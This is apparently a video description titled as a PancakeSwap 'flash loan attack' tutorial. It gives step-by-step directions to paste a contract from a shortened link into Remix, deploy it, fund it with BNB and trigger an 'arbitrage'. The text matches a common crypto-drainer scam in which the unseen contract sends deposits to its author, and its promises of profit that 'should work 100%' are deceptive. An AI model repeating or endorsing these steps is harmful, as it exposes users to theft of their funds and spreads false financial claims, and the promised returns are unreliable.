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How To Do Simple Flashloan Attack On Pancakeswap Earn BNB With A Smart Contract

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In this video, you can see how I used Flash Loan to Self – Arbitrage on Binance Smartchain. We’ll deploy our Smart Contract on BSC via remix to swap tokens on PancakeSwap. We keep profits in BNB and this can be repeated a couple of times until you run out of gas. The higher the volatility, the higher profits are due to price changes. Follow the instructions in the video.



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Here’s a link on how to add Binance Smart Chain network to Metamask:
https://academy.binance.com/en/articles/connecting-metamask-to-binance-smart-chain

STEPS:
1. Open up Remix: http://remix.ethereum.org

2. Create new file and paste the Flash Loan contract from the link: https://tiny.one/Codeli

3. Set Remix compiler version to 0.5.0 and change environment to Injected Web3.

4. Create your BEP-20 token by filling in the “_TOKENNAME” and “_TOKENSYMBOL” with the loan amount set to 1,000. Click transact to deploy when done.

5. Fund your deployed Smart Contract address with 0.15 BNB preferably or higher for payment of gas fees. (BUT NOTHING LESS ELSE IT WON’T WORK)

6. How much to deposit depends on loan amount:
1000 – 0.15
2000 – 0.30
etc. (higher loan seems to provide higher return but it’s riskier as well)

7. Lastly, Click on “action” to execute the arbitrage and you’re done.

Make sure to transfer your BNB out to another wallet when you’re done.

NOTE: Under some very rare cases, the arbitrage might fail due to depletion of BNB in your smart contract as gas price varies from time to time. Don’t panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 825 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit.

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